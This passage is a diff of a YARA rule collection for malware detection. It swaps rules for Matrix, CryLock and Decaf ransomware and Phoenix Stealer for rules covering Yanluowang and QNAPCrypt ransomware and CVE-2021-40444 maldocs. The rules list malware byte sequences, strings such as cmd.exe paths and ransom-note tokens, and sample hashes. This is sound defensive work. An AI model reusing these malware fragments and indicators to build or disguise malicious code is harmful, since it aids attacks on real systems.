56 88 45 fc e8 [2] 00 00 83 bd ac ef ff ff 08 8d 85 98 ef ff ff 8b b5 48 ef ff ff 0f 43 85 98 ef ff ff 68 00 00 00 01 ff b5 a8 ef ff ff 50 56 ff 15 b8 b2 4b 00 85 c0 75 0c ff 15 40 b0 4b 00 89 83 f8 }
-		$s5 = { 6a 00 ff b5 40 ef ff ff ff b3 88 01 00 00 ff 15 30 b0 4b 00 50 57 6a ff 56 8b b5 48 ef ff ff 56 ff 15 ?? b2 4b 00 85 c0 0f 85 b2 02 00 00 8d bd 00 ef ff ff ab ab ab ab 8d 85 00 ef ff ff 50 ff 15 ?? b2 4b 00 85 c0 0f 84 74 02 00 00 8b 95 04 ef ff ff 85 d2 0f 84 4f 01 00 00 33 c0 8d bd b8 ee ff ff 6a 06 59 f3 ab 83 a5 c8 ee ff ff 00 8d bd f4 ee ff ff 83 a5 c4 ee ff ff 00 40 89 85 bc ee ff ff 89 85 cc ee ff ff 33 c0 ab c7 85 b8 ee ff ff 03 00 00 00 89 95 c0 ee ff ff ab ab 8d 43 08 83 }
+		$s1 = "1-5-21-669817101-1001941732-3035937113-1000" fullword wide
+		$s2 = "*..\\..\\..\\..\\..\\..\\Windows\\System32\\cmd.exe" fullword wide
+		$s3 = "C:\\Windows\\System32\\cmd.exe" fullword wide
+		$s4 = "System32 (C:\\Windows)" fullword wide
+		$s5 = { 3d 00 25 00 74 00 6d 00 70 00 25 00 5c 00 74 00 65 00 73 00 74 00 2e 00 63 00 26 }
+		$s6 = { 3c 00 22 00 25 [5] 25 00 6d 00 64 00 22 00 26 00 6e 00 65 00 74 00 73 00 74 00 61 00 74 00 20 00 2d }
+		$s7 = { 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 4e 00 54 00 5c 00 41 00 63 00 63 00 65 00 73 00 73 00 6f 00 72 00 69 00 65 00 73 00 5c 00 77 00 6f 00 72 00 64 00 70 00 61 00 64 00 2e 00 65 00 78 00 65 }
 
 	condition:
-		uint16(0)==0x5A4D and filesize >15KB and 1 of ($c*) and 4 of ($s*)
+		filesize >60KB and 6 of ($s*)
 }
-rule ARKBIRD_SOLG_RAN_Matrix_Sep_2020_1 : FILE
+rule ARKBIRD_SOLG_RAN_Yanluowang_Dec_2021_1 : FILE
 {
 	meta:
-		description = "Detect MATRIX ransomware"
+		description = "Detect Yanluowang ransomware"
 		author = "Arkbird_SOLG"
-		id = "a7df188c-e381-55e6-97e6-45f5830ff0d3"
-		date = "2020-10-15"
-		modified = "2020-10-15"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-15/MATRIX/RAN_Matrix_Sep_2020_1.yar#L1-L28"
+		id = "339d3dab-9bdd-5a46-8261-c32862ccc3bf"
+		date = "2021-12-17"
+		modified = "2021-12-18"
+		reference = "https://samples.vx-underground.org/samples/Families/YanluowangRansomware/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-18/RAN_Yanluowang_Dec_2021_1.yara#L1-L20"
 		license_url = "N/A"
-		logic_hash = "e832b258e8d2ee94ebbf2e715ca01960a92d723ee017261b18ce05d3095bf8a3"
+		logic_hash = "0144874fb24411b4378a2e2992934e674808f01ecc38f23d0d9d37e1d45621e4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		hash1 = "7b5e536827c3bb9f8077aed78726585739bcde796904edd6c4faadc9a8d22eaf"
-		hash2 = "afca3b84177133ff859d9b9d620b582d913218723bfcf83d119ec125b88a8c40"
-		hash3 = "d87d1fbeffe5b18e22f288780bf50b1e7d5af9bbe2480c80ea2a7497a3d52829"
-		hash4 = "5474b58de90ad79d6df4c633fb773053fecc16ad69fb5b86e7a2b640a2a056d6"
+		hash1 = "49d828087ca77abc8d3ac2e4719719ca48578b265bbb632a1a7a36560ec47f2d"
+		hash2 = "d11793433065633b84567de403c1989640a07c9a399dd2753aaf118891ce791c"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$debug1 = "[LDRIVES]: not found!" fullword wide
-		$debug2 = "[DONE]: NO_SHARES!" fullword wide
-		$debug3 = "[ALL_LOCAL_KID]: " fullword wide
-		$debug4 = "[FINISHED]: G=" fullword wide
-		$debug5 = "[FEX_START]" fullword wide
-		$debug6 = "[LOGSAVED]" fullword wide
-		$debug7 = "[GENKEY]" fullword wide
-		$debug8 = "[SHARES]" fullword wide
-		$debug9 = "[SHARESSCAN]: " fullword wide
-		$reg1 = { 2e 00 70 00 68 00 70 00 3f 00 61 00 70 00 69 00 6b 00 65 00 79 00 3d }
-		$reg2 = { 26 00 63 00 6f 00 6d 00 70 00 75 00 73 00 65 00 72 00 3d }
-		$reg3 = { 26 00 73 00 69 00 64 00 3d 00 }
-		$reg4 = { 26 00 70 00 68 00 61 00 73 00 65 00 3d }
-		$reg5 = { 47 00 45 00 54 }
+		$s1 = { 6a 00 68 7b 4d 45 00 e8 52 2a 00 00 6a 00 6a 00 68 44 58 45 00 68 78 58 45 00 68 d8 56 45 00 c6 45 fc 15 8b 3d d8 71 44 00 6a 00 ff d7 6a 00 6a 00 68 80 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 a0 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 b8 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 cc 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 e4 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 fc 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 10 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 2c 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 40 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 54 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 68 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 88 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 a0 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 b8 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 d0 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 ec 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 00 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 14 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 28 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 40 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 54 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 80 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 68 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 7c 5a 45 00 68 78 58 45 00 }
+		$s2 = { 83 bd d4 ee ff ff 10 8d 85 c0 ee ff ff 51 0f 43 85 c0 ee ff ff 8d 8d 90 ee ff ff 50 6a 30 68 a0 56 45 00 8d 85 c0 ee ff ff 50 ff b5 e8 ee ff ff e8 83 45 00 00 83 bd a4 ee ff ff 10 8d 85 90 ee ff ff 6a 00 0f 43 85 90 ee ff ff 6a 00 50 68 d4 56 45 00 68 d8 56 45 00 6a 00 ff d7 8b 95 a4 ee ff ff 83 fa 10 72 2f 8b 8d 90 ee ff ff 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc }
+		$s3 = { 68 00 00 00 f0 6a 01 6a 00 6a 00 8d 85 5c ee ff ff 50 ff 15 14 70 44 00 8d 85 40 ee ff ff 50 57 6a 01 ff b5 5c ee ff ff ff 15 40 70 44 00 8b 35 1c 70 44 00 8d 85 60 ec ff ff 6a 20 50 6a 00 6a 00 6a 01 6a 00 ff b5 40 ee ff ff c7 85 e8 ee ff ff 20 00 00 00 c7 85 60 ec ff ff 20 00 00 00 ff d6 ff b5 60 ec ff ff e8 1f cc 01 00 8b 8d 50 ec ff ff 83 c4 04 89 85 4c ec ff ff 0f 10 01 0f 11 00 0f 10 41 10 8d 8d e8 ee ff ff 0f 11 40 10 ff b5 60 ec ff ff 51 50 6a 00 6a 01 6a 00 ff b5 40 ee ff ff ff d6 8d 85 6c ec ff ff 33 ff 50 57 6a 01 68 80 00 00 00 ff b5 4c ec ff ff 89 bd 40 ec ff ff 89 bd bc ee ff ff ff 15 3c 70 44 00 85 c0 74 47 ff b5 6c ec ff ff e8 ae cb 01 00 83 c4 04 8b f0 8d 85 6c ec ff ff 89 b5 bc ee ff ff 50 56 6a 01 68 80 00 00 00 ff b5 4c ec ff ff ff 15 3c 70 44 00 85 }
+		$s4 = { 8b ec 6a ff 68 2b 52 44 00 64 a1 00 00 00 00 50 81 ec 8c 02 00 00 a1 c0 c8 45 00 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 6a 05 33 c0 c7 45 c0 00 00 00 00 68 84 57 45 00 8d 4d c0 c7 45 d0 00 00 00 00 c7 45 d4 07 00 00 00 66 89 45 c0 e8 59 3f 00 00 c7 45 fc 00 00 00 00 8d 4d d8 6a 03 33 c0 c7 45 d8 00 00 00 00 68 90 57 45 00 c7 45 e8 00 00 00 00 c7 45 ec 07 00 00 00 66 89 45 d8 e8 28 3f 00 00 6a 00 6a 0f c7 45 fc 01 00 00 00 ff 15 98 70 44 00 8b f0 89 b5 74 fd ff ff 83 fe ff 0f 84 2c 02 00 00 a1 9c 70 44 00 8d 7d c0 8b 0d 48 70 44 00 89 85 7c fd ff ff a1 80 70 44 00 89 85 78 fd ff ff a1 4c 70 44 00 89 85 80 fd ff ff a1 90 70 44 00 c7 85 88 fd ff ff 00 00 00 00 89 bd 84 fd ff ff 89 8d 6c fd ff ff 89 85 70 fd ff ff 66 66 66 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >500KB and 4 of ($debug*) and 3 of ($reg*)
+		uint16(0)==0x5A4D and filesize >100KB and all of ($s*)
 }
-rule ARKBIRD_SOLG_RAN_Crylock_Oct_2020_1 : FILE
+rule ARKBIRD_SOLG_RAN_ELF_Qnapcrypt_Aug_2021_1 : FILE
 {
 	meta:
-		description = "Detect CryLock ransomware V2.0.0"
+		description = "Detect QNAPCrypt ransomware (x86 version)"
 		author = "Arkbird_SOLG"
-		id = "642211e0-b5fe-5842-ab16-ca1fc8d00ac0"
-		date = "2020-10-14"
-		modified = "2020-10-15"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1316426560803680257"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-15/Crylock/RAN_CryLock_Oct_2020_1.yar#L1-L31"
+		id = "fcdec43a-de70-57a2-9527-263685acc820"
+		date = "2021-08-11"
+		modified = "2021-08-12"
+		reference = "https://bazaar.abuse.ch/browse/tag/QNAPCrypt/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-11/QNAPCrypt/RAN_ELF_QNAPCrypt_Aug_2021_1.yara#L1-L29"
 		license_url = "N/A"
-		logic_hash = "5d9aae41283c5738f2e584ea8d236ae64f7615ec629f9513fddb611714ddc230"
+		logic_hash = "4dbe5241b9f1b68a15193f3d5c7b0b5fac80208c16917b6e543ce407301f1dcf"
 		score = 75
 		quality = 71
 		tags = "FILE"
-		hash1 = "04d8109c6c78055d772c01fefe1e5f48a70f2a65535cff17227b5a2c8506b831"
+		hash1 = "551e03e17d1df9bd5b712bec7763578c01e7bffe9b93db246e36ec0a174f7467"
+		hash2 = "670250a169ba548c07a5066a70087e83bbc7fd468ef46199d76f97f9e7f72f36"
+		hash3 = "6df0897d4eb0826c47850968708143ecb9b58a0f3453caa615c0f62396ef816b"
+		hash4 = "fedcce505a5e307c1d116d52b3122f6484b3d25fb3c4d666fe7af087cfe85349"
+		tlp = "white"
+		adversary = "-"
 
 	strings:
-		$s1 = "All commands sended to execution" fullword ascii
-		$s2 = "Processesblacklist1" fullword ascii
-		$s3 = "Execute all" fullword ascii
-		$s4 = "config.txt" fullword ascii
-		$debug1 = "Processed files: " fullword ascii
-		$debug2 = "Next -->" fullword ascii
-		$debug3 = "Status: scan network" fullword ascii
-		$debug4 = { 49 45 28 41 4c 28 22 25 73 22 2c 34 29 2c 22 41 4c 28 5c 22 25 30 3a 73 5c 22 2c 33 29 22 2c 22 4a 4b 28 5c 22 25 31 3a 73 5c 22 2c 5c 22 25 30 3a 73 5c 22 29 22 29 }
-		$debug5 = { 4a 75 6d 70 49 44 28 22 22 2c 22 25 73 22 29 }
-		$debug6 = { 45 6e 63 72 79 70 74 65 64 20 62 79 20 42 6c 61 63 6b 52 61 62 62 69 74 2e 20 28 [3-10] 29 }
-		$ran1 = "w_to_decrypt.hta" wide
-		$ran2 = "<%UNDECRYPT_DATETIME%>" fullword ascii
-		$ran3 = "<%START_DATETIME%>" fullword ascii
-		$ran4 = "<%MAIN_CONTACT%>" fullword ascii
-		$ran5 = "<%RESERVE_CONTACT%>" fullword ascii
-		$ran6 = "<%HID%>" fullword ascii
+		$s1 = { 2d 00 20 00 20 00 00 00 80 00 80 08 00 00 00 00 00 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 2d 00 25 00 05 }
+		$s2 = { 2d 2d 2d 2d 2d 45 4e 44 20 00 00 00 00 00 00 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 }
+		$s3 = { 52 65 71 75 69 72 65 64 55 73 65 72 2d 41 67 65 6e 74 3a 20 25 73 0d 0a 57 77 77 2d 41 75 74 68 65 6e 74 69 63 61 74 65 5a 61 6e 61 62 61 7a 61 72 5f 53 71 75 61 72 65 0a 72 75 6e 74 69 6d 65 20 73 74 61 63 6b 3a }
+		$s4 = { 34 10 90 e5 80 20 9f e5 04 20 8d e5 08 10 8d e5 c8 10 9f e5 0c 10 8d e5 0a 30 a0 e3 10 30 8d e5 53 4e f8 eb 14 00 9d e5 00 10 90 e5 04 00 90 e5 00 00 50 e3 0c 00 00 da 04 00 91 e5 00 10 91 e5 04 10 8d e5 08 00 8d e5 94 00 9f e5 0c 00 8d e5 05 00 a0 e3 10 00 8d e5 15 e2 ff eb 14 00 dd e5 01 10 20 e2 84 00 9d e5 09 fe ff ea 00 00 a0 e3 00 10 a0 e3 f1 ff ff ea 0e 30 a0 e1 56 76 f9 eb fa }
+		$s5 = { 89 7c 24 2c 83 fe 20 19 db 89 f1 bf 01 00 00 00 d3 e7 21 df 89 fb 83 c7 ff 89 7c 24 24 83 c1 e0 89 4c 24 3c 83 f9 20 19 f6 f7 d9 89 4c 24 38 83 f9 20 19 ff 8b 4c 24 3c ba 01 00 00 00 d3 e2 21 f2 8b 4c 24 38 be 01 00 00 00 d3 ee 21 fe 09 d6 83 c3 ff 83 d6 ff 89 74 24 34 8b 54 24 44 8b 5c 24 2c 8b 7c 24 40 8b 4c 24 28 89 44 24 48 31 c0 89 44 24 30 31 c0 89 44 24 20 31 c0 89 44 24 1c }
+		$s6 = { 65 8b 0d 00 00 00 00 8b 89 fc ff ff ff 3b 61 08 0f 86 44 03 00 00 83 ec 58 c7 44 24 20 00 00 00 00 c7 44 24 24 00 00 00 00 8d 05 60 c3 27 08 89 44 24 20 8d 0d 28 af 31 08 89 4c 24 24 8b 0d 4c 35 4c 08 8d 15 50 e8 31 08 89 14 24 89 4c 24 04 8d 4c 24 20 89 4c 24 08 c7 44 24 0c 01 00 00 00 c7 44 24 10 01 00 00 00 e8 63 b9 ea ff 90 c7 05 94 38 4c 08 06 00 00 00 8b 05 d0 50 4d 08 85 c0 0f 85 b3 02 00 00 8d 05 1a d3 2b 08 89 05 90 38 4c 08 8b 05 a4 34 4c 08 89 04 24 8d 05 10 02 32 08 89 44 24 04 8d 05 90 38 4c 08 89 44 24 08 }
+		$x1 = { e8 [2] e4 ff 8b 44 24 08 89 44 24 28 8b 4c 24 0c 89 4c 24 2c 31 d2 31 db eb 18 8b 6c 24 40 83 c5 01 8b 54 24 44 83 d2 00 8b 44 24 28 8b 4c 24 2c 89 eb 39 ca 87 dd 0f ?? c3 87 dd }
+		$x2 = { 8b ?? 20 89 ?? 24 ff d0 8b 44 24 ?? 89 44 24 ?? 8b 4c 24 ?? 89 4c 24 ?? c7 44 24 68 65 43 68 30 c7 44 24 6c 72 61 69 78 89 ?? 24 89 ?? 24 04 e8 [2] e4 ff }
+		$x3 = { 74 11 90 e5 70 21 90 e5 68 31 90 e5 6c 41 90 e5 04 30 8d e5 08 40 8d e5 0c 20 8d e5 10 10 8d e5 91 5c fe eb 1c 00 9d e5 18 10 9d e5 14 30 9d e5 78 20 9d e5 40 10 82 e5 44 00 82 e5 ac b6 9f e5 00 00 9b e5 00 00 50 e3 27 06 00 1a 3c 30 82 e5 7c 02 9d e5 20 10 80 e2 1b 2e 8d e2 f9 0d fc eb 04 20 8d e2 1b 1e 8d e2 f6 0d fc eb 9e f4 ff eb 34 00 9d e5 78 30 9d e5 48 00 83 e5 7c 02 9d e5 d4 40 90 e5 d0 50 90 e5 cc 60 90 e5 04 60 8d e5 08 50 8d e5 0c 40 8d e5 fe f5 ff eb 10 00 9d e5 78 30 9d e5 4c 00 83 e5 04 00 8d e5 7c 02 9d e5 c0 40 80 e2 08 40 8d e5 8c fa ff eb 0c 00 9d e5 18 30 9d e5 10 40 9d e5 14 50 9d e5 78 60 9d e5 50 00 86 e5 14 b6 9f e5 00 00 9b e5 00 }
+		$x4 = { d0 00 8d e5 05 00 53 e3 a0 05 00 1a 00 30 d2 e5 68 00 53 e3 9a 05 00 1a 01 30 d2 e5 74 00 53 e3 94 05 00 1a 02 30 d2 e5 74 00 53 e3 8e 05 00 1a 03 30 d2 e5 70 00 53 e3 88 05 00 1a 04 20 d2 e5 73 00 52 e3 82 05 00 1a 9c 22 9d e5 54 30 92 e5 00 00 53 e3 72 04 00 0a 00 00 51 e3 6a 04 00 1a b4 12 9d e5 b8 32 9d e5 54 70 92 e5 58 07 9f e5 }
+		$x5 = { 55 6e 61 62 6c 65 20 74 6f 20 63 72 65 61 74 65 20 70 69 64 20 66 69 6c 65 20 3a 20 25 76 }
+		$x6 = { 53 61 76 65 20 63 75 72 72 20 50 49 44 20 25 64 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >300KB and 3 of ($s*) and 4 of ($debug*) and 4 of ($ran*)
+		uint32(0)==0x464C457F and filesize >25KB and 3 of ($s*) and 2 of ($x*)
 }
-rule ARKBIRD_SOLG_RAN_Decaf_Nov_2021_1 : FILE
+rule ARKBIRD_SOLG_RAN_ELF_Qnapcrypt_Aug_2021_2 : FILE
 {
 	meta:
-		description = "Detect Decaf ransomware (unpacked UPX)"
+		description = "Detect QNAPCrypt ransomware (x64 version)"
 		author = "Arkbird_SOLG"
-		id = "d19b2d31-a6c5-5033-ba43-4e9ccabc37bb"
-		date = "2021-11-01"
-		modified = "2021-11-02"
-		reference = "https://blog.morphisec.com/decaf-ransomware-a-new-golang-threat-makes-its-appearance"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Decaf/RAN_Decaf_Nov_2021_1.yara#L1-L19"
+		id = "8cd54646-87da-5261-82f3-68ab96549379"
+		date = "2021-08-11"
+		modified = "2021-08-12"
+		reference = "https://bazaar.abuse.ch/browse/tag/QNAPCrypt/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-11/QNAPCrypt/RAN_ELF_QNAPCrypt_Aug_2021_2.yara#L1-L22"
 		license_url = "N/A"
-		logic_hash = "5cea33d710d252b39bcd8ae227f52d10897b7fe58b1ff5226a1cb8cc094d600c"
+		logic_hash = "9eb3a499afbaaf2addb8ee12cc2d479ebbacd4d19cc270e995f12e83546008b4"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		hash1 = "088b4715bbe986deac972d551b88f178d43b191f5a71fbd4db3fb0810a233500"
-		hash2 = "5da2a2ebe9959e6ac21683a8950055309eb34544962c02ed564e0deaf83c9477"
+		hash1 = "4829041c64971a0cb37d55e6ba83a57e01e76b26f3f744814b59bedbb3fefce8"
+		hash2 = "50470f94e7d65b50bf00d7416a9634d9e4141c5109a78f5769e4204906ab5f0b"
+		hash3 = "f9f5265f4c748ce0e2171915fb8edb6d967539ac46d624db8eb2586854dd0d9e"
 		tlp = "white"
 		adversary = "-"
 
 	strings:
-		$s1 = { 48 8b 05 [3] 00 48 8b 0d [3] 00 48 8d 54 24 ?? 8b 5c 24 ?? 48 8d 74 24 ?? 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 48 89 5c 24 18 48 89 74 24 20 89 f8 48 89 44 24 28 48 c7 44 24 30 00 00 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 38 00 74 ?? 48 8b 54 24 ?? c6 82 e5 00 00 00 00 48 8b 54 24 ?? 31 c0 }
-		$s2 = { 48 8b 05 [3] 00 48 8b 0d [3] 00 48 89 0c 24 48 89 44 24 08 44 0f 11 7c 24 10 48 c7 44 24 20 00 00 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 28 00 74 0a 48 8b 6c 24 ?? 48 83 c4 ?? c3 e8 [3] 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 }
-		$s3 = { 48 83 ec 48 48 89 6c 24 40 48 8d 6c 24 40 48 89 44 24 50 48 89 5c 24 58 48 83 3d [3] 00 00 75 73 48 8b 05 45 [2] 00 48 8d 0d 66 [2] 00 48 89 04 24 48 89 4c 24 08 48 c7 44 24 10 04 01 00 00 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 8b 44 24 18 48 85 c0 0f 84 6a 01 00 00 48 3d 04 01 00 00 0f 87 5e 01 00 00 48 8d 1d 1a [2] 00 c6 04 03 5c 4c 8d 40 01 4c 89 05 [3] 00 48 8b 44 24 50 48 8b 5c }
-		$s4 = { 48 89 44 24 40 c7 44 24 3c 00 00 00 00 48 8b 0d [3] 00 48 8d 54 24 3c 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 e8 [2] 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 18 00 75 10 48 8b 44 24 40 8b 4c 24 68 48 8b 5c 24 60 eb 1d 48 8b 44 24 40 48 8b 5c 24 60 8b 4c 24 68 e8 8f 00 00 00 48 8b 6c 24 48 48 83 c4 50 c3 c7 44 24 38 00 00 00 00 48 8b 15 [3] 00 48 8d 74 24 38 48 89 14 24 48 89 44 24 08 48 89 5c 24 10 48 63 c1 48 89 44 24 18 48 89 74 24 20 48 c7 44 24 28 00 00 00 00 e8 }
-		$s5 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 49 42 43 67 4b 43 41 51 45 41 }
+		$s1 = { 52 45 41 44 4d 45 5f 46 4f 52 5f 44 45 43 52 59 50 54 }
+		$s2 = { 64 48 8b 0c 25 f8 ff ff ff 48 8d 44 24 ?? 48 3b 41 10 0f 86 [2] 00 00 48 81 ec ?? 00 00 00 48 89 ac 24 ?? 00 00 00 48 8d ac 24 ?? 00 00 00 48 8b 05 [3] 00 48 83 3d [3] 00 00 0f 86 [2] 00 00 48 8b 48 08 48 8b 00 48 89 04 24 48 89 4c 24 08 e8 [3] ff 48 c7 04 24 20 00 00 00 e8 [2] 00 00 48 c7 04 24 00 00 00 00 e8 [3] ff 48 8b 44 24 20 48 89 44 24 58 48 8b 4c 24 18 48 89 8c 24 88 00 00 00 48 8b 54 24 28 48 89 54 24 60 48 }
+		$s3 = { 48 81 ec ?? 00 00 00 48 89 ac 24 ?? 00 00 00 48 8d ac 24 ?? 00 00 00 }
+		$s4 = { 64 48 8b 0c 25 f8 ff ff ff 48 [0-5] 3b ?? 10 0f 86 [2] 00 00 48 ?? ec }
+		$s5 = { 48 83 ec 78 48 89 6c 24 70 48 8d 6c 24 70 48 8b 05 [3] 00 48 8b 0d [3] 00 48 8b 15 [3] 00 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 e8 [3] ff 48 8b 44 24 18 48 85 c0 0f 84 10 01 00 00 48 8b 48 28 48 8b 50 20 48 8b 40 18 48 89 04 24 48 89 54 24 08 48 89 4c 24 10 e8 [3] ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 8b 5c 24 30 48 85 d2 0f 85 a3 00 00 00 48 8d 15 [2] 03 00 48 39 d0 0f 85 13 01 00 00 48 8b 05 [3] 00 48 8b 15 [3] 00 48 89 04 24 48 89 54 24 08 48 89 4c 24 10 48 8b 84 24 80 00 00 00 48 89 44 24 18 48 8b 84 24 88 00 00 00 48 89 44 24 20 48 8b 84 24 90 00 00 00 48 89 44 24 28 e8 [3] ff 48 8b 44 24 38 48 8b 4c 24 40 48 8b 54 24 48 48 8b 5c 24 50 48 8b 74 24 30 48 89 b4 24 98 00 00 00 48 89 84 24 a0 00 00 00 48 89 8c 24 a8 00 00 00 48 89 94 24 b0 00 00 00 48 89 9c 24 b8 00 00 00 48 8b 6c 24 }
+		$s6 = { 48 81 ec 48 01 00 00 48 89 ac 24 40 01 00 00 48 8d ac 24 40 01 00 00 48 8d 7c 24 38 48 8d 35 [2] 0f 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 [3] ff 48 8b 6d 00 48 8d 05 [2] 02 00 48 89 04 24 48 8b 84 24 50 01 00 00 48 89 44 24 08 48 89 44 24 10 e8 [3] ff 48 8b 44 24 18 48 89 84 24 38 01 00 00 31 c9 eb 18 8b 54 84 38 48 8b 5c 24 30 48 8b 84 24 38 01 00 00 89 14 98 48 8d 4b 01 48 8b 94 24 50 01 00 00 48 39 d1 7d 2c 48 89 4c 24 30 90 48 8b 05 [3] 00 48 89 04 24 48 c7 44 24 08 40 00 00 00 e8 [3] ff 48 8b 44 24 10 48 83 f8 40 72 b1 eb 46 48 c7 04 24 00 00 00 00 48 89 44 24 08 48 89 54 24 10 48 89 54 24 18 e8 [3] ff 48 8b 44 24 28 48 8b 4c 24 20 48 89 8c 24 58 01 00 00 48 89 84 24 60 01 00 00 48 8b ac 24 40 01 00 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >400KB and 4 of them
+		uint32(0)==0x464C457F and filesize >25KB and all of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Phoenix_Stealer_Jun_2021_1 : FILE
+rule ARKBIRD_SOLG_Exp_CVE_2021_40444_Sep_2021_1 : FILE
 {
 	meta:
-		description = "Detect the Phoenix Stealer"
+		description = "Detect the maldocs with a structure like used for CVE_2021_40444 exploit"
 		author = "Arkbird_SOLG"
-		id = "8c9df216-cbfe-51f3-a6d7-cfeb99fafbe0"
-		date = "2021-11-01"
-		modified = "2021-11-01"
-		reference = "https://twitter.com/3xp0rtblog/status/1455111070566207493/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Phoenix_Stealer/MAL_Phoenix_Stealer_Jun_2021_1.yara#L1-L20"
+		id = "acaba73d-f744-5d3f-9617-e976832f3577"
+		date = "2021-09-09"
+		modified = "2021-09-09"
+		reference = "https://github.com/StrangerealIntel/DailyIOC"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-09/Exp_CVE_2021_40444_Sep_2021_1.yara#L2-L20"
 		license_url = "N/A"
-		logic_hash = "989c2518a42201559265ce4b974b35df5c4b8365e53f789fc124ee969e747c87"
-		score = 75
+		logic_hash = "ba1b256c9caad3371d57e6ecbe54721038c819c7c081edf2443523109c25b184"
+		score = 50
 		quality = 75
 		tags = "FILE"
-		hash1 = "5bbfeee67b9b087ed228eccdacd4a7e71d40f7f96ad869903e02d9c3b02adbe5"
-		hash2 = "34f78f4028c51f6340c1f4846b65252fa6686ba0a5ab8ebc35c737a8960ba43e"
-		hash3 = "e51de8c43034fafaa49f81e9cc955c0cf60dc9684f28d8c355baf0724710de1f"
+		reference1 = "-"
+		hash1 = "199b9e9a7533431731fbb08ff19d437de1de6533f3ebbffc1e13eeffaa4fd455"
+		hash2 = "3bddb2e1a85a9e06b9f9021ad301fdcde33e197225ae1676b8c6d0b416193ecf"
+		hash3 = "5b85dbe49b8bc1e65e01414a0508329dc41dc13c92c08a4f14c71e3044b06185"
